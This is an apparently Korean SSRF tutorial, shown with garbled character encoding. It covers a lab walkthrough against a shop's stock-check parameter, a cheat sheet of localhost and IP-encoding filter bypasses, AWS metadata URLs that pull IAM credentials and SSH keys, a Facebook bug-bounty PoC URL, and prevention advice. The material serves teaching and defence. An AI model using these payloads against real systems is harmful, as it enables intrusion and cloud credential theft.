Server-side Request Forgery(SSRF)

Server-side Request Forgery(SSRF)

in

Server-side Request Forgery(SSRF)

๐Ÿ”Ž What is SSRF?

์ด๋ฏธ์ง€ 1

Server-side request forgery(SSRF)๋Š” ๊ณต๊ฒฉ์ž์˜ ์š”์ฒญ์„ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋‹จ์œผ๋กœ ์š”์ฒญํ•˜์—ฌ ๋‚ด๋ถ€ ์„œ๋ฒ„์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์  ์ž…๋‹ˆ๋‹ค.

Basic SSRF against the local server

์‡ผํ•‘๋ชฐ์˜ URL์— /admin ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ ‘๊ทผ ์‹œ ์–ด๋“œ๋ฏผ ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜, loopback์š”์ฒญ์—์„œ๋งŒ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์ ‘๊ทผ์ด ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค

ssrf0

์‡ผํ•‘๋ชฐ์—์„œ ํ•œ ์ƒํ’ˆ์˜ ์žฌ๊ณ ๋ฅผ ํ™•์ธํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
ํ•ด๋‹น ๊ธฐ๋Šฅ์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋ฐฑ์—”๋“œ์— ์š”์ฒญํ•˜์—ฌ ์žฌ๊ณ ๊ฐ€ ๋‚จ์•„์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

ssrf1

์žฌ๊ณ  ํ™•์ธ์‹œ ์š”์ฒญ๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ localhost ์ฃผ์†Œ๋กœ ๋ณ€์กฐํ•˜์—ฌ SSRF ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ณ€์กฐ ์ „ : 
http://stock.weliketoshop.net:8080/product/stock/check?productId=13&storeId=1

๋ณ€์กฐ ํ›„ :
http://localhost/admin

admin๊ณ„์ • ๋˜๋Š” loopback์—์„œ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ admin ํŽ˜์ด์ง€์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

ssrf4 adminํŽ˜์ด์ง€์— ์ ‘๊ทผ๊ฐ€๋Šฅ

SSRF with blacklist-based input filter

127.0.0.1์ด ํ•„ํ„ฐ๋ง ๋‹นํ•˜๊ณ  ์žˆ์„๊ฒฝ์šฐ

http://127.1/ 

ssrf1

ssrf2

admin์ด ํ•„ํ„ฐ๋ง ๋‹นํ•˜๊ณ  ์žˆ์„๊ฒฝ์šฐ

//URL ์ธ์ฝ”๋”ฉ์„ ์‚ฌ์šฉํ•˜์—ฌ ์šฐํšŒ์‹œ๋„
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

ssrf3

ssrf4



๐Ÿ Cheat sheet

  • Basic payloads with localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
  • Bypass using a decimal IP location
http://2130706433/ = http://127.0.0.1
http://017700000001/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254
  • Bypass using octal IP
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
  • Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

SSRF URL for Cloud Instances

  • SSRF URL for AWS Bucket
# Docs Interesting path to look for at http://169.254.169.254 or http://instance-data
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
# DNS record
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/
# HTTP redirect
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
# Alternate IP encoding
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
# More urls to include
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
# AWS SSRF Bypasses
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/

๐Ÿž BugBounty Write up

Facebook SSRF

https://amineaboud.medium.com/10000-facebook-ssrf-bug-bounty-402bd21e58e5

์„œ๋ธŒ๋„๋ฉ”์ธ ํƒ์ƒ‰ + ํŒŒ์ผ ๋ธŒ๋ฃจํŠธํฌ์‹ฑ + JS ๋ถ„์„ + SSRF๊ฐ€ ํ•ฉ์ณ์ ธ ํŽ˜์ด์Šค๋ถ์—์„œ $10000์˜ ํฌ์ƒ์„ ๋ฐ›์€ ๊ธ€ ์ž…๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์œผ๋กœ ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ Facebook ๊ธฐ์—… ๋„คํŠธ์›Œํฌ์— ๋‚ด๋ถ€ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

facebookssrf1

1. ์„œ๋ธŒ๋„๋ฉ”์ธ ํƒ์ƒ‰

์„œ๋ธŒ๋„๋ฉ”์ธ ํƒ์ƒ‰์„ ํ†ตํ•ด Facebook์˜ __phishme.thefacebook.com__ ํŽ˜์ด์ง€ ๋ฐœ๊ฒฌ
ํ•ด๋‹น ํŽ˜์ด์ง€๋Š” 403 ์ ‘๊ทผ๊ถŒํ•œ ์—๋Ÿฌ๋กœ ์ ‘๊ทผ์ด ๋ถˆ๊ฐ€ํ•˜๋‹ค๊ณ  ๋‚˜์˜ต๋‹ˆ๋‹ค.

facebookssrf2

2. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ ๋ธŒ๋ฃจํŠธํฌ์‹ฑ

๋ฐœ๊ฒฌํ•œ ํŽ˜์ด์ง€์˜ ํ•˜์œ„ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ ์ง„ํ–‰
https://phishme.thefacebook.com/**.js

https://phishme.thefacebook.com/Home.js Hidden JSํŒŒ์ผ ๋ฐœ๊ฒฌ

3. Home.js ์ฝ”๋“œ ๋ฆฌ๋ทฐ

Home.js ํŒŒ์ผ์˜ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋˜ ์ค‘ ํฅ๋ฏธ์žˆ๋Š” ํ•จ์ˆ˜ ๋ฐœ๊ฒฌ
sendPhishRequest = ํŠน์ • ๋งํฌ์—์„œ XMLHttpRequest ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ํ•จ์ˆ˜

ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์กฐ๊ธˆ ๋” ์‚ดํŽด๋ณธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ๋˜๋Š”๊ฒƒ์„ ํ™•์ธ ํ–ˆ์Šต๋‹ˆ๋‹ค.

Util.sendPhishRequest(โ€˜PhishGetItemData.ashxโ€™, { itemId: itemId, ewsUrl: ewsUrl, token: token }

Explotation :

๋ช‡๊ฐ€์ง€ ์ž„์˜์˜ ํ† ํฐ๊ฐ’์„ ํš๋“ํ•œ ํ›„ ๋งˆ์นจ๋‚ด SSRF ๊ณต๊ฒฉ์— ์„ฑ๊ณต

itemId: 123
ewsUrl: http://127.0.0.1:PORT
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7Hg

POC:
https://phishme.thefacebook.com/PhishGetItemData.ashx?itemId=123&ewsUrl=http://127.0.0.1:PORT/&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7Hg

facebookssrf3



๐Ÿ‘€ How to Prevent ?

Server Side ์š”์ฒญ์— ์‚ฌ์šฉ๋˜๋Š” ์ž…๋ ฅ Parameter ๊ฒ€์ฆ ํ—ˆ์šฉํ•  URL๋“ค์„ ์šฐ์„  Write-list ์„ค์ •์„ ํ•˜๊ณ , ํ•„ํ„ฐ๋ง ์‹œํ‚ฌ URL, Scheme, ํŠน์ˆ˜๋ฌธ์ž ๋“ฑ์„ Black-list ๋กœ ์„ค์ • ์ง„ํ–‰

  • White list ๋ฐฉ์‹ = ํ—ˆ์šฉํ•  URL๋“ค์„ ์ •์˜ํ•ด ๋‘” ๋’ค ์ž…๋ ฅ ๋ฐ›์€ URL๊ฐ€ ํ—ˆ์šฉ URL์ธ์ง€ ๊ฒ€์ฆ
  • Black list ๋ฐฉ์‹ = ๊ธˆ์ง€ํ•  URL, Schema๋“ฑ์„ ์ •์˜ํ•ด๋‘๊ณ  ์ž…๋ ฅ ๋ฐ›์€ URL์— ๊ธˆ์ง€๋œ URL,Scheme๊ฐ€ ์žˆ๋Š”์ง€ ๊ฒ€์ฆ
    -> ์‚ฌ์„ค IP๊ฐ€ ์ž…๋ ฅ ๊ฐ’์œผ๋กœ ์ฃผ์–ด์ง€๋ฉด, ์—๋ŸฌํŽ˜์ด์ง€๋กœ ์—ฐ๊ฒฐ
    ex) 10.0.0.0 ~ 10.255.255.255, 172.16.0.0 ~ 172.31.255.255, 192.168.0.0 ~ 192.168.255.255
    -> loopback ์ฃผ์†Œ๊ฐ€ ์ž…๋ ฅ ๊ฐ’์œผ๋กœ ์ฃผ์–ด์ง€๋ฉด ์—๋ŸฌํŽ˜์ด์ง€๋กœ ์—ฐ๊ฒฐ
    ex) localhost, 127.0.0.1 ๋“ฑ
    -> ๋ถˆํ•„์š”ํ•œ scheme๊ฐ€ ์ž…๋ ฅ๊ฐ’์œผ๋กœ ์ฃผ์–ด์ง€๋ฉด ์—๋Ÿฌ ํŽ˜์ด์ง€๋กœ ์—ฐ๊ฒฐ
    ex) sftp://, file://, ftp:// ๋“ฑ
    -> ๋ถˆํ•„์š”ํ•œ ํŠน์ˆ˜๋ฌธ์ž๊ฐ€ ์ž…๋ ฅ ๊ฐ’์œผ๋กœ ์ฃผ์–ด์ง€๋ฉด ์—๋Ÿฌ ํŽ˜์ด์ง€๋กœ ์—ฐ๊ฒฐ
    ex) @,%0a ๋“ฑ

๐Ÿ“ƒ References